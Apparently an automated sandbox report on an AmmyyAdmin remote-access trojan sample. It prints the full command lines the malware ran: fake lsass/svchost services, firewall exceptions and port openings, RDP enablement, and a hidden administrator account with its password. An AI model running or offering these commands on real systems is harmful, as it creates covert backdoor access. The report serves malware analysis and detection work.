Malware Analysis Report

2024-10-16 05:10

Sample ID 240915-nbt8qs1gpq
Target e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118
SHA256 c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533
Tags
defense_evasion discovery evasion execution persistence privilege_escalation ammyyadmin rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533

Threat Level: Known bad

The file e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery evasion execution persistence privilege_escalation ammyyadmin rat

AmmyyAdmin payload

Ammyy Admin

Grants admin privileges

Creates new service(s)

Stops running service(s)

Modifies Windows Firewall

Sets service image path in registry

Executes dropped EXE

Loads dropped DLL

Password Policy Discovery

Hide Artifacts: Hidden Users

Launches sc.exe

System Location Discovery: System Language Discovery

Unsigned PE

Event Triggered Execution: Netsh Helper DLL

Permission Groups Discovery: Local Groups

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-15 11:13

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-15 11:13

Reported

2024-09-15 11:16

Platform

win7-20240903-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"

Signatures

Grants admin privileges

Creates new service(s)

persistence execution

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe -service -debug" C:\Windows\SysWOW64\REG.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A

Password Policy Discovery

discovery

Hide Artifacts: Hidden Users

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0" C:\Windows\SysWOW64\REG.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

Permission Groups Discovery: Local Groups

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\termserv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2212 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2348 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2348 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2348 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2348 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2212 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2212 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2212 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"

C:\Windows\SysWOW64\sc.exe

sc stop "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc delete "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc stop "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc delete "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore

C:\Windows\SysWOW64\sc.exe

sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\lsass.exe" ENABLE

C:\Windows\SysWOW64\sc.exe

sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" type= own start= auto error= ignore

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram ctfmon.exe ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 3389 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 8080 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 31337 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 80 name = TCP

C:\Users\Admin\AppData\Roaming\termserv.exe

C:\Users\Admin\AppData\Roaming\termserv.exe -silent

C:\Windows\SysWOW64\sc.exe

sc start mnmsrvc

C:\Windows\SysWOW64\sc.exe

sc Start TlntSvr

C:\Windows\SysWOW64\sc.exe

sc Start TermService

C:\Windows\SysWOW64\net.exe

net start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net.exe

net start TermService

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net.exe

net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net.exe

net localgroup Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net.exe

net localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net.exe

net accounts /maxpwage:unlimited

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 accounts /maxpwage:unlimited

Network

N/A

Files

memory/2212-0-0x0000000000400000-0x0000000000412000-memory.dmp

C:\Users\Admin\AppData\Roaming\lsass.exe

MD5 f5d70d9c0d3e969d05853d74ed873938
SHA1 229c8228f7f7a7a9bb392cfd2c3e2094fbe7c205
SHA256 dc583111b2f8ef01f752f18682934005d5bb0060233f0c50f8c88c91dc17a0c5
SHA512 968c9b8f317e5650ecfe28d730b3a4e6a810b1cc6d0a415d297c1229f327d4ff14bb3b66552e22823037a0243fb613a41c051323fd7ba4e9dc4cbf65813f24ca

\Users\Admin\AppData\Roaming\termserv.exe

MD5 382cebd78ad354b1dfd91dc8176615f6
SHA1 5c734f779cf23cee4d7260a0eee3ce1ed888f1c0
SHA256 067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445
SHA512 650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

memory/2212-24-0x0000000000400000-0x0000000000412000-memory.dmp

